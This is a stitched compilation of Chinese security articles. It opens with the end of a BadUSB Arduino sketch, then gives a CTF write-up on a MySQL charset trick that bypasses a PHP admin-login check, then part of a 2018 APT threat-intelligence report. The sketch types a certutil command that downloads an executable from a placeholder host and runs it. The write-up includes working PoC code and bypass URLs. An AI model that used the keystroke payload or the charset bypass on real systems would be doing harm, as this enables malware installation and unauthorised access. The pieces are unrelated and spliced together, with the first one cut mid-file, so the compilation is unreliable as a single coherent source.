Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD.EXE");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("certutil -urlcache -split -f http://yourIP/1.EXE D:\\1.exe"); //服务器下载恶意文件
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("D:\\1.exe");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
### 插入BadUsb：
### 贴下getShell图片：
### 贴下视频：
这边贴下[玄武实验室的视频链接](https://v.youku.com/v_show/id_XODQ0NzYxNDg0.html)
### 0x05 漏洞根源及防御对策的可行性
### 漏洞原因：
* BadUsb漏洞的根源在于USB固件可以被重新编写，而由于主机对HID设备的过分信任，导致计算机无法识别当前设备是合法设备还是被改造过的设备。
### 防护思路&缺陷：
防护思路 | 缺陷
---|---
USB设备白名单 | USB设备通常没有唯一的序列号 ；操作系统也没有对应的白名单机制
屏蔽危险的设备类别，或者完全屏蔽USB设备 | 影响可用性；通用设备易被滥用，如果屏蔽，则基本没有可用USB设备
扫描外围设备固件中的恶意代码 | 必须在固件本身的支持下（可能不支持），才能读取USB设备固件
对固件更新使用代码签名 | 在微型控制器上难以实现安全的认证系统；大量设备目前已经存在漏洞
禁止硬件的固件更新 | 简单有效（但主要局限于新设备）
## 0x06 学习资料 | 社区文章 |
来源：[离别歌](https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html)
作者： **[phithon@长亭科技](https://www.leavesongs.com/)**
## 0x01 由某CTF题解说起
小密圈里有人提出的问题，大概代码如下：
看了一下，明显考点是这几行：
<?php
if ($username === 'admin') {
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('Permission denied!');
}
}
$result = $mysqli->query("SELECT * FROM z_users where username = '{$username}' and password = '{$password}'");
这个if语句嫌疑很大，大概是考我们怎么登陆`admin`的账号，请先看这一篇文章
<https://www.leavesongs.com/PENETRATION/Mini-XCTF-Writeup.html>
本文中利用`Â`等latin1字符来绕过php的判断。这个CTF也是用同样的方法来解决：
可见，我传入的`username=admin%c2`，php的检测`if ($username ===
'admin')`自然就可以绕过的，在mysql中可以正常查出`username='admin'`的结果。
## 0x02 Trick复现
那么，为什么执行`SELECT * FROM user WHERE username='admin\xC2' and
password='admin'`却可以查出用户名是`admin`的记录？
刚好这段时间有人问我为什么在他的计算机上无法复现，我们来深入研究研究。
编写如下代码：
<?php
$mysqli = new mysqli("localhost", "root", "root", "cat");
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
$mysqli->query("set names utf8");
$username = addslashes($_GET['username']);
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
if ($result = $mysqli->query( $sql )) {
printf("Select returned %d rows.\n", $result->num_rows);
while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
var_dump($row);
}
/* free result set */
$result->close();
} else {
var_dump($mysqli->error);
}
$mysqli->close();
然后在数据库`cat`中创建表`table1`：
CREATE TABLE `table1` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(255) COLLATE latin1_general_ci NOT NULL,
`password` varchar(255) COLLATE latin1_general_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
我特地将字符集设置为`latin1`，其实默认情况下，Mysql的字符集就是`latin1`，没必要写明。
插入一个管理员账户：
INSERT `table1` VALUES (1, 'admin', 'admin');
然后，我们访问`http://localhost/test.php?username=admin%c2`，即可发现`%c2`被忽略，Mysql查出了`username=admin`的结果：
假设我们将`table1`表的字符集换成`utf8`，就得不到结果了。
## 0x03 Mysql字符集转换
经过0x02中对该Mysql Trick的复现，大概也能猜到原理了。
造成这个Trick的根本原因是， **Mysql字段的字符集和php mysqli客户端设置的字符集不相同** 。
`set names utf8` 的意思是将客户端的字符集设置为utf8。我们打开mysql控制台，依次执行`SHOW VARIABLES LIKE
'character_set_%';`、`set names utf8;`、`SHOW VARIABLES LIKE
'character_set_%';`，即可得到如下结果：
如上图，在默认情况下，mysql字符集为latin1，而执行了`set names
utf8;`以后，`character_set_client`、`character_set_connection`、`character_set_results`等与客户端相关的配置字符集都变成了utf8，但`character_set_database`、`character_set_server`等服务端相关的字符集还是latin1。
这就是该Trick的核心，因为这一条语句，导致客户端、服务端的字符集出现了差别。既然有差别，Mysql在执行查询的时候，就涉及到字符集的转换。
2008年鸟哥曾在[博客](http://www.laruence.com/2008/01/05/12.html)中讲解了Mysql字符集：
> 1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection；
> 2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集
>
在我们这个案例中，`character_set_client`和`character_set_connection`被设置成了utf8，而`内部操作字符集`其实也就是`username`字段的字符集还是默认的latin1。于是，整个操作就有如下字符串转换过程：
`utf8 --> utf8 --> latin1`
最后执行比较`username='admin'`的时候，`'admin'`是一个latin1字符串。
## 0x04 漏洞成因
那么，字符集转换为什么会导致`%c2`被忽略呢？
说一下我的想法，虽然我没有深入研究，但我觉得原因应该是， **Mysql在转换字符集的时候，将不完整的字符给忽略了** 。
举个简单的例子，`佬`这个汉字的UTF-8编码是`\xE4\xBD\xAC`，我们可以依次尝试访问下面三个URL：
http://localhost:9090/test.php?username=admin%e4
http://localhost:9090/test.php?username=admin%e4%bd
http://localhost:9090/test.php?username=admin%e4%bd%ac
可以发现，前两者都能成功获取到`username=admin`的结果，而最后一个URL，也就是当我输入`佬`字完整的编码时，将会被抛出一个错误：
为什么会抛出错误？原因很简单，因为latin1并不支持汉字，所以utf8汉字转换成latin1时就抛出了错误。
那前两次为什么没有抛出错误？因为前两次输入的编码并不完整，Mysql在进行编码转换时，就将其忽略了。
这个特点也导致，我们查询`username=admin%e4`时，`%e4`被省略，最后查出了`username=admin`的结果。
## 0x05 为什么只有部分字符可以使用
我在测试这个Trick的时候发现，`username=admin%c2`时可以正确得到结果，但`username=admin%c1`就不行，这是为什么？
我简单fuzz了一下，如果在admin后面加上一个字符，有如下结果：
1. `\x00`~`\x7F`： 返回空白结果
2. `\x80`~`\xC1`： 返回错误Illegal mix of collations
3. `\xC2`~`\xEF`： 返回admin的结果
4. `\xF0`~`\xFF`： 返回错误Illegal mix of collations
这就涉及到Mysql编码相关的知识了，先看看[维基百科](https://zh.wikipedia.org/wiki/UTF-8)吧。
UTF-8编码是变长编码，可能有1~4个字节表示：
1. 一字节时范围是[00-7F]
2. 两字节时范围是[C0-DF][80-BF]
3. 三字节时范围是[E0-EF][80-BF][80-BF]
4. 四字节时范围是[F0-F7][80-BF][80-BF][80-BF]
然后根据RFC 3629规范，又有一些字节值是不允许出现在UTF-8编码中的：
所以最终，UTF-8第一字节的取值范围是：00-7F、C2-F4，这也是我在admin后面加上80-C1、F5-FF等字符时会抛出错误的原因。
关于所有的UTF-8字符，你可以在这个表中一一看到： <http://utf8-chartable.de/unicode-utf8-table.pl>
## 0x06 Mysql UTF8 特性
那么，为什么`username=admin%F0`也不行呢？F0是在C2-F4的范围中呀？
这又涉及到Mysql中另一个特性： **Mysql的utf8其实是阉割版utf-8编码，Mysql中的utf8字符集最长只支持三个字节** ，
所以，我们回看前文列出的UTF-8编码第一字节的范围，
> 三字节时范围是[E0-EF][80-BF][80-BF] 四字节时范围是[F0-F7][80-BF][80-BF][80-BF]
F0-F4是四字节才有的，所以我传入`username=admin%F0`也将抛出错误。
如果你需要Mysql支持四字节的utf-8，可以使用`utf8mb4`编码。我将原始代码中的set names改成`set names
utf8mb4`，再看看效果：
已经成功得到结果。
## 0x07 总结
本文深入研究了Mysql编码的数个特性，相信看完本文，对于第一章中的CTF题目也没有疑问了。
通过这次研究，我有几个感想：
1. 研究东西还是需要深入，之前写那篇文章的时候并没有深入研究原理，所以心里总是很迷糊
2. 维基百科上涵盖了很多知识，有必要的时候也可以多看看
* * * | 社区文章 |
# 全球高级持续性威胁（APT）2018年中报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 序言
APT，又称高级持续性威胁，通常用于区分由国家、政府或情报机构资助或具有相关背景的攻击团伙实施的攻击行动。该类攻击行动的动机往往与地缘政治冲突，军事行动相关，并以长久性的情报刺探、收集和监控为主要意图，其主要攻击的目标除了政府、军队、外交相关部门外，也包括科研、海事、能源、高新技术等领域。
近年来，结合国内外各个安全研究机构、安全厂商对APT类威胁活动的持续跟踪和分析的结果，可以看到攻击团伙使用的攻击战术、技术和过程已经达到非常成熟的阶段，即便部分攻击团伙的技术能力不高，但也能通过利用公开的或开源的脚本类或自动化攻击框架快速形成完备的攻击武器。攻击团伙不但使用针对个人PC、服务器和目标内部网络的攻击向量技术，并且覆盖了移动设备和家用路由器，其攻击目标也延伸至金融、工业控制、医疗、酒店领域。
本报告是360威胁情报中心结合公开的威胁情报和内部情报数据，针对2018年上半年高级威胁事件相关的分析和总结，并对近半年的APT攻击活动所呈现的态势进行分析。
## 主要观点
近期的APT攻击活动呈现出明显的地缘政治特征，当前主要活跃的APT攻击活动可以划分为如下几块：中东地区、东欧和中亚、亚太地区、美国和欧洲。
近半年来，针对境内的APT攻击活动异常活跃，从360威胁情报中心的监测来看，至少存在8个不同来源的APT组织在上半年都有不同程度的，针对境内机构实施了攻击活动，这可能也与近年来中国在亚太地区的国际形势有关。
APT攻击组织更多的引入一些公开或开源的工具和攻击框架，并用于实际的攻击活动中，而不再单纯依赖自身开发的网络攻击武器。其在初始攻击阶段更多使用一些轻量级的攻击技术，只有针对明确的高价值目标才会触发后续阶段载荷的植入。这说明攻击者对后续攻击载荷的投放更加谨慎，以避免过早的暴露其整体的攻击链路。
APT组织在攻击行动中刻意引入的false
flag，有意避免和过去的攻击行动产生重合，增大了威胁分析中对背景研判的难度。例如在攻击韩国平昌奥运会的事件中，多家安全厂商对其攻击来源的归属做出了不同的分析和推断。
针对移动设备、路由器的攻击技术给网络间谍活动带来了更多的攻击向量，例如赛门铁克披露的Inception
Framework组织[2]利用UPnProxy技术[3]攻击路由器用于构建隐匿的回传控制网络。
## 摘要
近半年来，全球APT攻击活动呈现出较高的活跃程度。360威胁情报中心在近半年中监测到的APT相关公开报告（从2017.12月至2018.6月）也多达227篇。本次研究主要以2017年底至2018年上半年，全球各研究机构公开披露的APT报告或研究成果为基础，对当前的APT攻击形势进行综合分析。
2018年上半年，APT攻击活动呈现出明显的地缘政治特征，当前主要活跃的APT攻击活动可以划分为如下几块：中东地区、东欧和中亚、亚太地区、美国和欧洲。
2018年上半年，至少存在8个不同来源的APT组织针对境内实施APT攻击行动。它们分别是：海莲花、摩诃草、蔓灵花、Darkhotel、APT-C-01、蓝宝菇，以及另外两个已被360威胁情报中心监测到，但尚未被任何组织机构披露的APT组织。
APT威胁的攻防技术对抗持续升级。其中，0day漏洞利用能力日益提升；结合开源工具和自动化攻击框架提高攻击效率；不断加强对自身攻击手法特点的掩盖和迷惑性；更多的展开对移动设备和路由器攻击等，成为2018年上半年全球APT攻击的重要特点。
## 第一章 地缘政治背后的攻击团伙
近半年来，全球APT攻击活动呈现出较高的活跃程度。360威胁情报中心在近半年中监测到的APT相关公开报告（从2017年12月至2018年6月）也多达227篇。本次研究主要以2017年底至2018年上半年，全球各研究机构公开披露的APT报告或研究成果为基础，对当前的APT攻击形势进行综合分析。
近半年来，APT攻击活动呈现出明显的地域特征，这也与国家背景黑客团伙间的围绕以地缘政治因素和间谍情报活动为主要意图的动机有关。当前主要活跃的APT攻击团伙其攻击活动的地域范围可以大体分为四块：中东地区，东欧和中亚，亚太地区，美国和欧洲。
### 一、 中东地区
中东地区常以动乱的政治局势，复杂的宗教背景，和丰富的能源资源为主，其地域下的网络间谍攻击活动尤为频繁，大多围绕以地缘冲突的国家政府和机构为主要目标，也以包括工业，能源行业，以及持不同见政者。
2018年上半年，被全球各个研究机构披露的中东地区最为活跃的APT组织中，有多个组织被认为与伊朗有关。这可能与RecordedFuture宣称的伊朗利用多个承包商和大学分层承包策略实施其网络攻击活动的背景有关[5]。
组织名称 | 攻击目标地域 | 主要攻击目标
---|---|---
APT34 | 中东地区 | 金融、政府、能源、化工、电信
MuddyWater | 中东和中亚，包括土耳其、巴基斯坦、塔吉克斯坦 |
Chafer | 以色列、约旦、阿联酋，沙特阿拉伯和土耳其 | 航空、海运、电信相关机构及其软件和IT公司
OilRig | 中东地区，包括伊拉克、以色列等；巴基斯坦和英国 | 石油、天然气、电力等能源机构和工业控制系统
表1 部分攻击中东地区的APT组织的主要攻击地域与攻击目标比较
下面主要对APT34、MuddyWater，以及2018年1月，由360威胁情报中心披露的，针对叙利亚地区展开攻击的黄金鼠组织（APT-C-27）进行介绍。
**（一） APT34**
APT34是由FireEye披露的，被认为是来自伊朗的APT组织，其最早攻击活动至少可以追溯到2014年[6]。APT34主要利用鱼叉攻击。该组织过去的鱼叉攻击活动主要是投递带有恶意宏的诱导文档，而其近半年的攻击活动中则更多的使用鱼叉邮件投递漏洞利用RTF文档（CVE-2017-0199和CVE-2017-11882）。被投递的恶意文档主要是向受害目标主机植入其自制的PowerShell后门程序达到攻击目的，其主要使用的两个PowerShell后门为POWRUNER和BONDUPDATER。
后门名称 | 持久性 | 控制通信 | 主要功能
---|---|---|---
POWRUNER | 计划任务 | HTTP | 文件上传，截屏
BONDUPDATER | 计划任务 | DGA生成子域名 | 实现命令控制
表2 APT34组织使用的两个PowerShell后门
**（二） MuddyWater**
MuddyWater是另一个被认为是来自伊朗的APT组织，其最早攻击活动可以追溯到2017年，并在2018年初发起了多次鱼叉攻击活动。
MuddyWater利用鱼叉邮件投递嵌有恶意宏的文档文件，其执行VBS脚本或利用scriptlet植入PowerShell后门POWERSTATS，其回连的控制链接主要利用被攻击的网络站点。
APT34和MuddyWater这两个组织的攻击特点对比如下。
攻击行为 | 具体攻击方式 | APT34 | MuddyWater
---|---|---|---
攻击入口 | 鱼叉攻击 | √ | √
初始植入 | 文档漏洞 | √ |
恶意宏文档 | √ | √
载荷执行 | 脚本执行 | | √
PowerShell后门 | √ | √
控制回传 | DGA | √ |
失陷网站 | | √
表3 APT34和MuddyWater的攻击特点对比
**（三） 黄金鼠**
2018年1月，360威胁情报中心披露了一个针对叙利亚地区新的APT组织黄金鼠（APT-C-27）[27]。
研究显示，从2014年11月起至今，黄金鼠组织（APT-C-27）对叙利亚地区展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台从开始的Windows平台逐渐扩展至Android平台。
2015年7月，叙利亚哈马市新闻媒体在Facebook上发布了一则消息，该条消息称带有“土耳其对叙利亚边界部署反导弹系统进行干预，详细信息为<http://www.gulfup.com/?MCVlNX>”的信息为恶意信息，并告诫大家不要打开信息中链接，该链接为黑客入侵链接。哈马市揭露的这次攻击行动，就是我们在2016年6月发现的针对叙利亚地区的APT攻击。从新闻中我们确定了该行动的攻击目标至少包括叙利亚地区，其载荷投递方式至少包括水坑式攻击。
目前已知的，黄金鼠组织的主要攻击活动，如下图所示。
### 二、 东欧和中亚
东欧和中亚地区的APT攻击活动主要以被认为是俄罗斯背景的APT组织实施，这也与俄罗斯在东欧和中亚的政治军事冲突和战略地位有关，包括乌克兰、格鲁吉亚等。结合历史各研究机构对多个被认为是俄罗斯背景的攻击组织的披露情况分析，这些组织主要的攻击目标不仅针对东欧和中亚地区，也针对北美和北约组织等国。
相比于其他地区的多数APT组织，被认为是俄罗斯背景的APT组织通常拥有更高的攻击技术能力，并实现了其自有的完备的攻击武器。近年来被公开披露的相关APT组织主要活动如下表所示。
组织名称 | 攻击目标地域 | 主要攻击目标
---|---|---
APT28 | 东欧和中亚，包括乌克兰，格鲁吉亚，土耳其等北美和欧洲 | 政府机构，外交部门
APT29 | 乌克兰，格鲁吉亚，美国，北约等 | 政府机构，智库，NGO
Turla | 东欧 | 大使馆和领事馆，国防工业
Energetic Bear | 乌克兰，美国，英国等 | 能源和工业部门
表4 部分被认为是俄罗斯背景的APT组织2018年上半年主要活动
下面主要针对最为活跃，也最引人关注的APT28组织进行详细说明。
APT28被认为是隶属于俄罗斯军事情报机构GRU背景的APT组织，其与另一个据称和俄情报机构有关的APT29常被美国DHS统称为GRIZZLY
STEPPE。
APT28是一个高度活跃的APT攻击组织，其拥有如DealersChoice的漏洞利用攻击套件和Xagent这样针对多平台的攻击木马程序。
该组织在2018年上半年的主要攻击活动如下：
攻击活动时间 | 攻击活动简介
---|---
2018年2月初 | 针对两个涉外政府机构的攻击活动[10]
2018年3月9日 | 卡巴斯基总结了APT28在2018年的攻击活动现状和趋势[11]
2018年3月12日-14日 | 针对欧洲政府机构的攻击活动[10]
2018年4月24日 | 安全厂商披露APT28近两年的攻击活动中主要使用Zebrocy作为初始植入的攻击载荷[12]
2018年5月1日 | 安全厂商发现APT28修改Lojack软件的控制域名实现对目标主机的监控[9]
2018年5月8日 | 美联社披露APT28组织伪装IS对美国军嫂发送死亡威胁信息[8]
2016年至2018年5月 | APT28针对乌克兰家用路由器设备的攻击事件，被命名为VPNFilter[7]
表5 APT28组织在2018年上半年的主要攻击活动
在近期该组织的攻击活动中，其主要利用DDE或宏代码投放初始阶段的攻击载荷Zebrocy，其是使用AutoIt和Delphi实现的用于初步植入的攻击载荷，可用于信息收集和将后续阶段载荷（如Xagent）投递到高价值的攻击目标主机。
在初始攻击阶段，其也开始使用PowerShell脚本实现部分功能，并利用开源的后渗透工具Koadic替代该组织自行研制的木马后门程序[10]。
### 三、 亚太地区
亚太地区的APT攻击活动主要可以分为围绕朝鲜半岛局势，南亚和东南亚的地缘政治冲突以及针对我国境内的APT攻击活动，而其中以据称是朝鲜来源的APT组织尤为活跃。
被认为是朝鲜背景的APT组织主要以Lazarus Group和Group 123为主，并且Lazarus
Group组织下存在部分子组织，其具有相对独立的攻击目标和攻击动机，并且与Lazarus使用的攻击工具和恶意载荷存在部分交叉。结合公开的披露报告，我们整理被认为是朝鲜APT组织的层次结构如下。
APT组织名称 | 主要攻击目标地域 | 主要攻击目标领域 | 组织简述
---|---|---|---
Lazarus Group | 韩国 | 政府，银行等 | 朝鲜背景最为活跃的APT组织
Bluenoroff group | 欧洲东南亚等 | 银行机构，SWIFT系统 | Lazarus下专门针对银行机构的攻击子组织
Andariel Group | 韩国 | 政府，企业，加密币交易机构等 | 定向攻击韩国的子组织[13]
COVELLITE | 全球范围 | 民用电力，ICS | 与Lazarus有关专门针对工业控制网络的攻击组织[14]
Group 123 | 韩国日本俄罗斯中国 | 政府、军事、国防,电子、制造业、航空航天、汽车和医疗保健实体 |
以秘密情报搜集为主要目的，最早攻击活动至少可以追溯到2012年[15][16]
Sun Team | 韩国 | 脱北者，记者 | 主要移动APT攻击活动
表6 部分被认为是朝鲜背景的APT组织2018年上半年主要活动分析
下面主要针对最为活跃的Lazarus Group进行进一步的分析。Lazarus
Group被认为是朝鲜人民军121局背景下的APT组织，美国DHS通常将该组织的攻击行动称为“Hidden Cobra”。
该组织最早的攻击活动可以追溯到2007年，其历史攻击行动主要目的是以围绕地缘和政治因素的网络破坏和情报窃取，在其后续的攻击活动中也出现了以全球部分金融机构，数字货币交易机构为主要攻击目标的攻击行动，并以资金和数字货币盗取为目的。
该组织近2017年年来被披露的主要攻击活动情况如下。
攻击活动时间 | 攻击活动简介
---|---
2017年3月-11月 | Lazarus在移动终端设备上的攻击活动
2017年6月 | 安全厂商发现新的RATANKBA变种，其利用PowerShell替代可执行形态实现
2017年10月-12月 | 针对伦敦数字货币交易公司的攻击
2017年末 | 针对中美洲在线赌场的攻击
2018年2月 | 针对土耳其金融行业的攻击
2018年3月 | 安全厂商披露Lazarus一系列攻击行动，并命名为Operation GhostSecret
2018年4月27日 | 泰国CERT发布朝鲜Hidden Cobra组织的GhostSecret攻击行动预警
2018年4月-5月 | 针对南美多个银行的攻击，包括墨西哥银行和智利银行等
2018年5月29日 | 美国CERT发布了关于HIDDEN COBRA组织RAT工具和一个SMB蠕虫的预警
2018年6月14日 | 美国CERT再次发布HIDDEN COBRA使用VBA宏分发新的恶意代码预警
表7 2017年以来Hidden Cobra组织的主要攻击活动
从该组织近期被披露的攻击活动来看，其主要攻击的目标可能更多转移到金融，银行或加密货币机构相关，这可能也与朝鲜实施APT攻击需要大量资金需求有关。
### 四、 美国和欧洲
从2015年7月，著名网络军火商Hacking
Team内部400GB数据被泄露，包括内部邮件内容，其开发的监控系统RCS及相关源码文档资料。2016年8月，黑客组织“影子经纪人”公开披露并拍卖据称是NSA的网络武器库资料，后被证实；2017年3月，维基解密网站公开披露CIA关于Vault
7项目的相关资料。
上述泄露事件展现了美国相关情报机构背景的国家政府黑客组织拥有非常复杂和先进的攻击技术。同样，欧洲拥有一些老牌网络军火商，如Hacking
Team，FinFinsher等，将其完备的攻击能力和网络武器提供和贩卖给各国政府或情报机构。由于其先进和复杂的攻击技术，其相关攻击活动更加隐匿而难以发现。
卡巴斯基在上半年发现了一个针对中东和非洲的网络间谍活动，其利用了Windows漏洞和Mikrotik路由器漏洞实施，被命名为Slingshot[17]。后被美国情报办公室披露其为美军方Special
Operations Command (SOCOM)下的Joint Special Operations Command (JSOC)所为 [18]。
## 第二章 频繁针对境内的APT攻击
根据360威胁情报中心对2018年上半年的APT攻击活动监测，近半年来，针对境内的APT攻击活动异常活跃。2018年上半年，至少存在8个不同来源的APT组织针对境内实施APT攻击行动。它们分别是：海莲花、摩诃草、蔓灵花、Darkhotel（APT-C-06）、APT-C-01、蓝宝菇、，以及另外两个已被360威胁情报中心监测到，但尚未被任何组织机构披露的APT组织。
### 一、 海莲花
“海莲花”APT组织是一个长期针对我国政府、科研院所、海事机构、海域建设、航运企业等领域的APT攻击组织，该组织不仅频繁对我国境内实施APT攻击，也针对东南亚周边国家实施攻击，包括柬埔寨，越南等。
360威胁情报中心在2018年上半年发布的“海莲花APT团伙利用CVE-2017-8570漏洞的新样本及关联分析”的报告[1]中，披露了该组织近期的鱼叉攻击活动。
总的来说，“海莲花”组织在近半年的攻击活动中基本延续过去的攻击战术技术特点，其主要使用鱼叉攻击投递诱导漏洞文档或内嵌恶意宏代码的文档。
我们也发现“海莲花”组织正在测试新的初始植入方式和攻击利用技术，并进行武器化，包括：
1） 利用DKMC开源框架的代码加载shellcode
2） 通过修改CLSID注册表键值实现持久性
3） 实现多种白利用技术，包括Flash Player、Word、Google Update等
4） 更多使用Cobalt Strike生成的shellcode和攻击载荷实现对攻击目标的监控。
“海莲花”组织采用多阶段的shellcode和植入脚本，并加以严重的混淆来对抗检测和分析，其还不断发掘新的白利用技术等来对抗主机的一些安全防御机制。该组织还大量使用商业或开源的攻击框架，如Cobalt
Strike和DKMC，并作为后续的攻击载荷模块。
我们相信“海莲花”组织正在积极更新和准备新的攻击利用技术，并将应用于未来的攻击活动中。
### 二、 摩诃草
“摩诃草”组织，主要针对中国、巴基斯坦等亚洲地区和国家进行网络间谍活动。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击。根据能力型厂商针对APT组织和报告的互认共识，该APT组织也是安天所发布的“白象”组织。360威胁情报中心在上半年披露了该组织利用新的脚本类攻击载荷的技术和针对境内的多起鱼叉攻击事件的分析[1]。
该组织主要使用鱼叉邮件投递诱导文档附件。
其攻击利用过程如下图所示，主要使用C#开发的控制程序。
该组织上半年的攻击活动也被国内外安全厂商多次披露。
披露时间 | 披露厂商 | 描述
---|---|---
2018年2月13日 | 趋势科技 | 披露Confucius的攻击活动，其与Patchwork攻击活动存在部分重叠。[19]
2018年3月7日 | Palo Alto Networks | 利用恶意代码BADNEWS在印度次大陆的网络攻击活动分析[20]
2018年3月8日 | ARBOR NETWORKS | Donot
Team在南亚的网络攻击活动，并提出其与Patchwork存在一些相似之处[21]。后续，360威胁情报中心披露了该组织与内部跟踪的APT-C-35（肚脑虫）相关[1]。
2018年5月23日 | 趋势科技 | 披露Confucius更多的攻击技术细节，和其与Patchwork的更多关联性[22]
2018年6月7日 | Volexity | Patchwork攻击美国智库[23]
表8 2018年上半年国内外安全厂商对“摩诃草”组织的研究情况
### 三、 Darkhotel
Darkhotel是一个长期针对企业高管、国防工业、电子工业等重要机构实施网络间谍攻击活动的APT组织。2014年11月，卡巴斯基实验室的安全专家首次发现了Darkhotel
APT组织，并声明该组织至少从2010年就已经开始活跃，目标基本锁定在韩国、中国、俄罗斯和日本。360威胁情报中心也发布报告“DarkHotelAPT团伙新近活动的样本分析”[1]公开披露其近期的攻击技术细节。
该组织利用鱼叉攻击投递诱导文档，利用如下的技术植入主控DLL模块。主控DLL模块通过实现插件化能够灵活加载和执行具有不同功能的插件DLL模块。
> 1） 白利用
>
> 2） UAC绕过
>
> 3） 图片文件隐写
>
> 4） DLL劫持
>
> 5） 内存反射加载
其主要的攻击利用过程如下图。
### 四、 蓝宝菇
2018年7月初，360威胁情报中心披露了一个长期对我国政府、军工、科研、金融等重点单位和部门进行了持续的网络间谍活动的APT组织蓝宝菇（APT-C-12）。
360追日团队捕获的首个蓝宝菇组织专用木马出现在2011年3月左右。从时间段上看，在2011-2012年，核危机行动所使用的主要攻击木马是Poison
Ivy；而到了2013-2014年，Poison
Ivy虽然仍在继续使用，但被升级到了几个全新的版本；2014年三季度–2015年，核危机行动开始大量进行横向移动攻击，并从2014年底开始，使用Bfnet后门。
截止2018年5月，360追日团队已经监测到核危机行动攻击针对的境内目标近30个。其中，教育科研机构占比最高，达59.1%，其次是政府机构，占比为18.2%，国防机构排第三，占9.1%。其他还有事业单位、金融机构制造业等占比为4.5%。
下图为核危机行动鱼叉邮件压缩包中的一个伪装成Word文件的专用木马的图标和文件名截图。该文件伪装成一份通信录文件，同时，为了更好的伪装诱饵文档，攻击者使用了RLO控制符。RLO控制符是Unicode控制符的一种，用来显示中东文字，中东文字的书写顺序是从右到左的。攻击者通过在文件名中插入RLO控制符，使得字符的显示顺序变成从右至左，从而来隐藏文件的真实扩展名。
当受害者点击打开这个伪装成Word文档的专用木马后，木马会在释放攻击代码的同时，释放一个真正的Word文档。下图为该诱饵Word文档打开后的信息内容，其中信息确实是一份详细的通讯录。可见，该组织在文件伪装方面确实下足了功夫。
下面是我们截获的另一个使用了RLO伪装的专用木马样本信息及该样本打开后的截图。该文件的文件名格式伪装方法与前述两个样本相同，但具体内容则伪装成了一份智库文件。
2018年4月，我们捕获到了一次核危机行动的最新攻击活动。某些重要的政府和企业机构的邮箱用户收到一份发自boaostaff[@]163.com的鱼叉邮件，鱼叉邮件仿冒博鳌亚洲论坛主办方向受害者发送了一封邀请函：
邮件附件是一个163邮箱的云附件，为RAR压缩包文件。点开云附件，会跳转到对应的云端下载地址将附件下载到本地，这一过程与早期的攻击活动大致相同。
不同的是，此次新攻击下载得到的附件包含的是一个恶意LNK文件：
一旦受害者被诱导打开该LNK文件，LNK文件便会通过执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的敏感文件，并安装持久化后门程序长期监控用户计算机。
## 第三章 变化的攻击方式和技术
近年来，随着APT威胁攻防双方的技术博弈，APT攻击所使用的攻击方式和技术变得更加成熟和体系化，并且也呈现出一些变化。
我们结合APT攻击活动的生命周期和战术特点对当前主要的攻击战术技术特点进行总结，并横向比较主要的APT组织近期常用的攻击技术。
### 一 、攻击入口
当前APT攻击活动中，初始攻击入口通常以鱼叉攻击和水坑攻击为主，利用钓鱼邮件或基于即时通讯和社交网络的诱导攻击也频繁出现。
结合社会工程学针对目标人员邮箱的攻击方式往往能够比较容易达成初步的攻击入口，其原因主要如下：
> 1） 结合对攻击目标组织或机构的信息收集，能够比较容易获取组织人员的相关邮箱地址信息；
>
> 2） 结合社会工程学往往能够迷惑目标人员的安全防范意识，提高攻击的成功率；
>
> 3）
> 邮件通常为企业或机构的目标人员最常用的通信方式，对邮箱的攻击，不仅能够实现初始的攻击植入，达到攻击立足点，并且更容易进一步用于收集账户凭据和内网的横向移动。
360威胁情报中心联合Coremail在上半年也发布报告“2017中国企业邮箱安全性研究报告”[1]，对邮箱安全性和流行的攻击方式进行分析。
我们结合鱼叉邮件投递载荷的形态进行横向对比。
| 诱导文档附件 | 载荷文件压缩包 | 钓鱼链接 | 入侵网站链接 | Drive-by Download
---|---|---|---|---|---
海莲花 | √ | | | |
摩诃草 | √ | | | | √
Darkhotel | √ | | | |
APT-C-01 | √ | √ | | |
Group 123 | √ | | √ | √ |
APT28 | √ | | √ | √ | √
表9 部分APT组织鱼叉邮件攻击特点对比
### 二、 初始植入
APT组织利用鱼叉邮件等方式诱导受害目标点击和下载诱导文件，其结合社会工程学技术诱导攻击目标人员触发执行诱导文件。
其中用于诱导目标人员的技术方式主要有如下几种。
> 1） 投递伪装的PE文件，文件名利用RLO技术欺骗；
>
> 2） 投递伪装的PE文件，利用超长文件名或空格填充来隐蔽可执行文件后缀；
>
> 3） 伪装成Office文档，PDF或其它文档的图标；
>
> 4） 将钓鱼链接采用短链接，或伪装和目标熟悉的域名极为相似的域名地址。
诱导文件通常包含用于初始植入的攻击代码，并主要用于下载和植入第一阶段的木马或后门。我们总结了APT组织常用的初始植入载荷形态和利用的技术，并进行横向比较。
| 文档漏洞 | DDE | 恶意宏 | HTA | 执行脚本 | PowerShell | LNK | PE捆绑
---|---|---|---|---|---|---|---|---
海莲花 | √ | | √ | | √ | √ | | √
摩诃草 | √ | | √ | | √ | √ | |
Darkhotel | √ | | √ | | | | |
APT-C-01 | √ | | | √ | | | √ | √
Group 123 | √ | | | | √ | √ | |
APT28 | √ | √ | √ | | √ | √ | |
